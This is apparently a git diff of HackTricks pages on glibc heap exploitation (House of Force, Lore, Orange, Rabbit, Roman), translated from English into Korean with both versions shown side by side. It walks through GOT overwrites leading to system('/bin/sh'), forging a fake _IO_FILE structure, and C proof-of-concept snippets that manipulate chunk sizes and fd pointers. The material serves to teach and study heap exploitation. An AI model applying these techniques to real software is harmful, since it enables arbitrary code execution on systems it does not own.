- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
- `Input your name:`에는 힙에서 주소를 누출할 수 있는 초기 취약점이 있습니다.
- 그런 다음 `Org:``Host:` 기능에서 **org name**을 요청할 때 `s` 포인터의 64B를 채울 수 있으며, 스택에서 이는 v2의 주소 뒤에 위치하고, 그 뒤에는 지정된 **host name**이 옵니다. 그런 다음, strcpy가 s의 내용을 64B 크기의 청크에 복사하므로, **host name**에 넣은 데이터로 **상단 청크의 크기를 덮어쓸 수 있습니다**.
- 이제 임의의 쓰기가 가능해지면, `atoi`의 GOT가 printf의 주소로 덮어씌워졌습니다. 그 후 `%24$p``IO_2_1_stderr`의 주소를 누출할 수 있었습니다. 이 libc 누출로 인해 다시 `atoi`의 GOT를 `system`의 주소로 덮어쓰고 `/bin/sh`를 매개변수로 전달하여 호출할 수 있었습니다.
- [이 다른 글에서 제안된 대안 방법](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud)은 `free``puts`로 덮어쓰고, 나중에 해제될 포인터에 `atoi@got`의 주소를 추가하여 누출되도록 한 다음, 이 누출로 다시 `atoi@got``system`으로 덮어쓰고 `/bin/sh`로 호출하는 것입니다.
- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
- 포인터를 지우지 않고 해제된 청크를 재사용할 수 있는 UAF가 있습니다. 일부 읽기 메서드가 있기 때문에, 여기에서 GOT에 free 함수에 대한 포인터를 작성하여 libc 주소를 누출할 수 있습니다. 그런 다음 읽기 함수를 호출합니다.
- 그런 다음, House of force가 사용되어(UAF를 악용하여) 남은 공간의 크기를 -1로 덮어쓰고, free hook에 도달할 수 있을 만큼 큰 청크를 할당한 다음, free hook을 포함할 또 다른 청크를 할당합니다. 그런 다음, hook에 `system`의 주소를 작성하고, 청크에 `"/bin/sh"`를 작성한 후, 해당 문자열 내용을 가진 청크를 해제합니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
### Code
### 코드
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- This isn't working
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)에서 확인하세요.
- 이건 작동하지 않습니다.
- 또는: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- 이건 일부 검사를 우회하려고 시도하더라도 작동하지 않으며, 오류가 발생합니다: `malloc(): unaligned tcache chunk detected`
- 이 예제는 여전히 작동합니다: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
### Goal
### 목표
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
- **작은 빈에 가짜 작은 청크를 삽입하여 할당할 수 있도록 합니다.**\
추가된 작은 청크는 공격자가 생성한 가짜 청크이며, 임의의 위치에 있는 가짜 청크가 아님을 주의하세요.
### Requirements
### 요구 사항
- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- 2개의 가짜 청크를 생성하고 이를 서로 연결하고 작은 빈의 정품 청크와 연결합니다:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (다른 취약점을 통해 해제된 작은 빈 청크의 포인터를 수정해야 합니다)
- `legit.bk` -> `fake0`
Then you will be able to allocate `fake0`.
그럼 `fake0`을 할당할 수 있게 됩니다.
### Attack
### 공격
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
- 작은 청크(`legit`)가 할당되고, 다른 청크가 할당되어 상단 청크와 통합되지 않도록 합니다. 그런 다음, `legit`가 해제되어(정렬되지 않은 빈 목록으로 이동) 더 큰 청크가 할당되며, **`legit`가 작은 빈으로 이동합니다.**
- 공격자는 몇 개의 가짜 작은 청크를 생성하고, 정상성 검사를 우회하기 위해 필요한 연결을 만듭니다:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (다른 취약점을 통해 해제된 작은 빈 청크의 포인터를 수정해야 합니다)
- `legit.bk` -> `fake0`
- 작은 청크가 할당되어 `legit`를 얻고, **`fake0`**이 작은 빈의 상단 목록으로 만들어집니다.
- 또 다른 작은 청크가 할당되어 `fake0`가 청크로 얻어지며, 내부의 포인터를 읽거나 쓸 수 있게 됩니다.
## References
## 참조
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)

View File

@ -6,66 +6,66 @@
### Code
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)에서 예제를 찾으세요.
- 이 [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0)에서 취약점이 수정되었으므로 더 이상 작동하지 않습니다 (2.26 이전에서 작동).
- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)에서 **더 많은 주석이 있는** 동일한 예제를 확인하세요.
### Goal
- Abuse `malloc_printerr` function
- `malloc_printerr` 함수 악용
### Requirements
- Overwrite the top chunk size
- Libc and heap leaks
- 상위 청크 크기 덮어쓰기
- Libc 및 힙 누수
### Background
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
[**이 예제**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**에서 필요한 배경:**
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
문제는, 이전 버전의 libc에서 `malloc_printerr` 함수가 호출되면 **`_IO_list_all`에 저장된 `_IO_FILE` 구조체 목록을 반복**하고 실제로 **그 구조체의** 명령어 포인터를 **실행**했습니다.\
이 공격은 **가짜 `_IO_FILE` 구조체**를 위조하여 **`_IO_list_all`에 기록**하고 `malloc_printerr`를 실행하게 합니다.\
그런 다음 **`_IO_FILE`** 구조체의 점프 테이블에 저장된 **주소를 실행**하게 됩니다.
### Attack
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
공격은 **정렬되지 않은 빈** 내에서 **상위 청크**를 얻는 것으로 시작됩니다. 이는 현재 상위 청크 크기보다 크지만 **`mmp_.mmap_threshold`**(기본값은 128K)보다 작은 크기로 `malloc`을 호출하여 달성됩니다. 상위 청크 크기가 수정될 때마다 **상위 청크 + 크기**가 페이지 정렬되고 **prev_inuse** 비트가 항상 설정되어 있는지 확인하는 것이 중요합니다.
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
정렬되지 않은 빈 내에서 상위 청크를 얻으려면, 상위 청크를 생성하기 위해 청크를 할당하고, 할당된 청크에서 오버플로우를 통해 상위 청크 크기를 변경하여 **상위 청크 + 크기**가 페이지 정렬되고 **prev_inuse** 비트가 설정되도록 합니다. 그런 다음 새로운 상위 청크 크기보다 큰 청크를 할당합니다. `free`는 정렬되지 않은 빈으로 상위 청크를 가져오기 위해 호출되지 않는다는 점에 유의하세요.
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), its possible to leak libc addresses from it and get the address of **\_IO_list_all**.
이제 이전 상위 청크가 정렬되지 않은 빈에 있습니다. 그 안의 데이터를 읽을 수 있다고 가정하면(오버플로우를 유발한 취약점으로 인해 가능할 수 있음), libc 주소를 누출하고 **\_IO_list_all**의 주소를 얻을 수 있습니다.
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
정렬되지 않은 빈 공격은 오버플로우를 악용하여 `topChunk->bk->fwd = _IO_list_all - 0x10`을 작성함으로써 수행됩니다. 새로운 청크가 할당되면 이전 상위 청크가 분할되고, 정렬되지 않은 빈에 대한 포인터가 **`_IO_list_all`**에 기록됩니다.
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
다음 단계는 이전 상위 청크의 크기를 **0x61**로 줄여 작은 빈에 맞추는 것입니다. 이는 두 가지 목적을 수행합니다:
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
1. **작은 빈 4에 삽입**: `malloc`이 정렬되지 않은 빈을 스캔할 때 이 청크를 보고 작은 크기 때문에 작은 빈 4에 삽입하려고 시도합니다. 이로 인해 청크가 **`_IO_list_all`**의 FD 포인터가 있는 작은 빈 4 목록의 머리에 위치하게 됩니다.
2. **Malloc 체크 트리거**: 이 청크 크기 조작은 `malloc`이 내부 검사를 수행하게 합니다. 잘못된 포워드 청크의 크기를 확인할 때, 이는 0이 되어 오류를 발생시키고 `malloc_printerr`를 호출합니다.
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
작은 빈의 조작은 청크의 포워드 포인터를 제어할 수 있게 해줍니다. **\_IO_list_all**과의 겹침은 가짜 **\_IO_FILE** 구조체를 위조하는 데 사용됩니다. 이 구조체는 `_IO_write_base``_IO_write_ptr`와 같은 주요 필드를 포함하도록 신중하게 제작되며, libc의 내부 검사를 통과하는 값으로 설정됩니다. 또한, 가짜 구조체 내에 점프 테이블이 생성되어 임의의 코드(예: `system` 함수)를 실행할 수 있는 주소에 명령어 포인터가 설정됩니다.
To summarize the remaining part of the technique:
기술의 나머지 부분을 요약하면:
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
- **이전 상위 청크 축소**: 이전 상위 청크의 크기를 **0x61**로 조정하여 작은 빈에 맞춥니다.
- **가짜 `_IO_FILE` 구조체 설정**: 이전 상위 청크와 가짜 **\_IO_FILE** 구조체가 겹치도록 하고 필드를 적절히 설정하여 실행 흐름을 탈취합니다.
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
다음 단계는 정렬되지 않은 빈에 현재 있는 이전 상위 청크와 겹치는 가짜 **\_IO_FILE** 구조체를 위조하는 것입니다. 이 구조체의 첫 번째 바이트는 실행될 명령어(예: "/bin/sh")에 대한 포인터를 포함하도록 신중하게 제작됩니다.
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
가짜 **\_IO_FILE** 구조체의 주요 필드인 `_IO_write_base``_IO_write_ptr`는 libc의 내부 검사를 통과하는 값으로 설정됩니다. 또한, 가짜 구조체 내에 점프 테이블이 생성되어 임의의 코드를 실행할 수 있는 주소에 명령어 포인터가 설정됩니다. 일반적으로 이는 `system` 함수 또는 셸 명령을 실행할 수 있는 다른 함수의 주소가 됩니다.
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
공격은 `malloc` 호출이 조작된 **\_IO_FILE** 구조체를 통해 코드를 실행하게 할 때 절정에 달합니다. 이는 임의의 코드 실행을 효과적으로 허용하며, 일반적으로 셸이 생성되거나 다른 악성 페이로드가 실행되는 결과를 초래합니다.
**Summary of the Attack:**
**공격 요약:**
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
1. **상위 청크 설정**: 청크를 할당하고 상위 청크 크기를 수정합니다.
2. **상위 청크를 정렬되지 않은 빈으로 강제 이동**: 더 큰 청크를 할당합니다.
3. **libc 주소 누출**: 취약점을 사용하여 정렬되지 않은 빈에서 읽습니다.
4. **정렬되지 않은 빈 공격 수행**: 오버플로우를 사용하여 **\_IO_list_all**에 씁니다.
5. **이전 상위 청크 축소**: 작은 빈에 맞도록 크기를 조정합니다.
6. **가짜 \_IO_FILE 구조체 설정**: 제어 흐름을 탈취하기 위해 가짜 파일 구조체를 위조합니다.
7. **코드 실행 트리거**: 공격을 실행하고 임의의 코드를 실행하기 위해 청크를 할당합니다.
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
이 접근 방식은 힙 관리 메커니즘, libc 정보 누수 및 힙 오버플로우를 악용하여 `free`를 직접 호출하지 않고 코드 실행을 달성합니다. 가짜 **\_IO_FILE** 구조체를 신중하게 제작하고 올바른 위치에 배치함으로써, 공격은 표준 메모리 할당 작업 중에 제어 흐름을 탈취할 수 있습니다. 이는 임의의 코드 실행을 가능하게 하여, 잠재적으로 셸이나 다른 악성 활동을 초래할 수 있습니다.
## References

View File

@ -4,108 +4,90 @@
### Requirements
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
1. **빠른 빈 fd 포인터 또는 크기를 수정할 수 있는 능력**: 이는 빠른 빈의 청크의 전방 포인터 또는 크기를 변경할 수 있음을 의미합니다.
2. **`malloc_consolidate`를 트리거할 수 있는 능력**: 이는 큰 청크를 할당하거나 상단 청크를 병합하여 힙이 청크를 통합하도록 강제함으로써 수행할 수 있습니다.
### Goals
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
1. **겹치는 청크 만들기**: 하나의 청크가 다른 청크와 겹치도록 하여 추가적인 힙 조작을 가능하게 합니다.
2. **가짜 청크 위조하기**: 할당자를 속여 힙 작업 중에 가짜 청크를 합법적인 청크로 취급하게 합니다.
## Steps of the attack
### POC 1: Modify the size of a fast bin chunk
### POC 1: 빠른 빈 청크의 크기 수정
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
- **Step 1: Allocate Chunks**
**목표**: 빠른 빈 청크의 크기를 조작하여 겹치는 청크를 만듭니다.
- **1단계: 청크 할당**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
우리는 각각 0x40 바이트 크기의 두 개의 청크를 할당합니다. 이 청크는 해제되면 빠른 빈 목록에 배치됩니다.
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
- **Step 2: Free Chunks**
- **2단계: 청크 해제**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
두 청크를 해제하여 fastbin 목록에 추가합니다.
We free both chunks, adding them to the fastbin list.
- **Step 3: Modify Chunk Size**
- **3단계: 청크 크기 수정**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
`chunk1`의 크기 메타데이터를 0xa1로 변경합니다. 이는 통합 중에 할당자를 속이는 중요한 단계입니다.
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
- **Step 4: Trigger `malloc_consolidate`**
- **4단계: `malloc_consolidate` 트리거**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
큰 청크를 할당하면 `malloc_consolidate` 함수가 호출되어 빠른 빈의 작은 청크가 병합됩니다. 조작된 `chunk1`의 크기로 인해 `chunk1``chunk2`와 겹치게 됩니다.
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
병합 후, `chunk1``chunk2`와 겹쳐 추가적인 악용이 가능합니다.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
### POC 2: `fd` 포인터 수정
### POC 2: Modify the `fd` pointer
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
- **Step 1: Allocate Chunks**
**목표**: 빠른 빈 `fd` 포인터를 조작하여 가짜 청크를 생성합니다.
- **1단계: 청크 할당**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**설명**: 우리는 가짜 청크를 설정하기 위해 하나는 더 작고 하나는 더 큰 두 개의 청크를 할당합니다.
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
- **Step 2: Create fake chunk**
- **단계 2: 가짜 청크 만들기**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
`chunk2`에 가짜 청크 메타데이터를 작성하여 더 작은 청크를 시뮬레이션합니다.
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
- **Step 3: Free `chunk1`**
- **3단계: `chunk1` 해제**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**설명**: 우리는 `chunk1`을 해제하여 fastbin 목록에 추가합니다.
**Explanation**: We free `chunk1`, adding it to the fastbin list.
- **Step 4: Modify `fd` of `chunk1`**
- **단계 4: `chunk1``fd` 수정**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**설명**: 우리는 `chunk1`의 포워드 포인터(`fd`)를 `chunk2` 내부의 가짜 청크를 가리키도록 변경합니다.
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
- **Step 5: Trigger `malloc_consolidate`**
- **단계 5: `malloc_consolidate` 트리거하기**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
큰 청크를 다시 할당하면 `malloc_consolidate`가 트리거되어 가짜 청크를 처리합니다.
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
가짜 청크는 fastbin 목록의 일부가 되어 추가적인 악용을 위한 합법적인 청크가 됩니다.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
### 요약
### Summary
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
**House of Rabbit** 기법은 fast bin 청크의 크기를 수정하여 겹치는 청크를 생성하거나 `fd` 포인터를 조작하여 가짜 청크를 생성하는 것을 포함합니다. 이를 통해 공격자는 힙에서 합법적인 청크를 위조할 수 있어 다양한 형태의 악용이 가능해집니다. 이러한 단계를 이해하고 연습하면 힙 악용 기술이 향상됩니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,85 +4,80 @@
## Basic Information
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
이 기술은 가짜 fastbins, unsorted_bin 공격 및 상대적 오버라이트를 통해 누수 없이 RCE를 허용하는 매우 흥미로운 기술이었습니다. 그러나 [**패치되었습니다**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)에서 예제를 찾을 수 있습니다.
### Goal
- RCE by abusing relative pointers
- 상대 포인터를 악용하여 RCE
### Requirements
- Edit fastbin and unsorted bin pointers
- 12 bits of randomness must be brute forced (0.02% chance) of working
- fastbin 및 unsorted bin 포인터 편집
- 12비트의 무작위성이 강제로 추측되어야 함 (작동 확률 0.02%)
## Attack Steps
### Part 1: Fastbin Chunk points to \_\_malloc_hook
Create several chunks:
여러 개의 청크를 생성합니다:
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
- `chunk2` (0x80, offset 0x70): For good alignment
- `fastbin_victim` (0x60, offset 0): 나중에 힙 포인터를 LibC 값으로 가리키도록 편집할 UAF 청크.
- `chunk2` (0x80, offset 0x70): 좋은 정렬을 위해
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
- `relative_offset_heap` (0x60, offset 0x190): 'main_arena_use' 청크의 상대적 오프셋
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
그런 다음 `free(main_arena_use)`를 호출하면 이 청크가 정렬되지 않은 목록에 배치되고 `fd``bk` 포인터 모두에서 `main_arena + 0x68`에 대한 포인터를 얻게 됩니다.
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
Then `relative_offset_heap` and `fastbin_victim` are freed.
이제 `fake_libc_chunk(0x60)`라는 새로운 청크가 할당되며, 이는 `fd``bk`에서 `main_arena + 0x68`에 대한 포인터를 포함하게 됩니다.
그런 다음 `relative_offset_heap``fastbin_victim`이 해제됩니다.
```c
/*
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
- &#x20;`fastbin_victim``relative_offset_heap`을 가리키는 `fd`를 가지고 있습니다.
- &#x20;`relative_offset_heap``fake_libc_chunk`로부터의 거리 오프셋으로, 여기에는 `main_arena + 0x68`에 대한 포인터가 포함되어 있습니다.
- `fastbin_victim.fd`의 마지막 바이트를 변경하는 것만으로도 `fastbin_victim``main_arena + 0x68`을 가리키도록 만들 수 있습니다.
- &#x20;`fastbin_victim` has a `fd` pointing to `relative_offset_heap`
- &#x20;`relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
이전 작업을 위해 공격자는 `fastbin_victim`의 fd 포인터를 수정할 수 있어야 합니다.
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
그런 다음, `main_arena + 0x68`은 그리 흥미롭지 않으므로 포인터를 **`__malloc_hook`**을 가리키도록 수정합시다.
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
`__memalign_hook`은 일반적으로 `0x7f`로 시작하고 그 앞에 0이 있으므로, 이를 `0x70` 패스트 빈의 값으로 위조할 수 있습니다. 주소의 마지막 4비트가 **무작위**이기 때문에, 우리가 관심 있는 곳을 가리키도록 할 수 있는 값의 가능성은 `2^4=16`입니다. 따라서 여기서 BF 공격이 수행되어 청크가 다음과 같이 끝납니다: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`**.
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
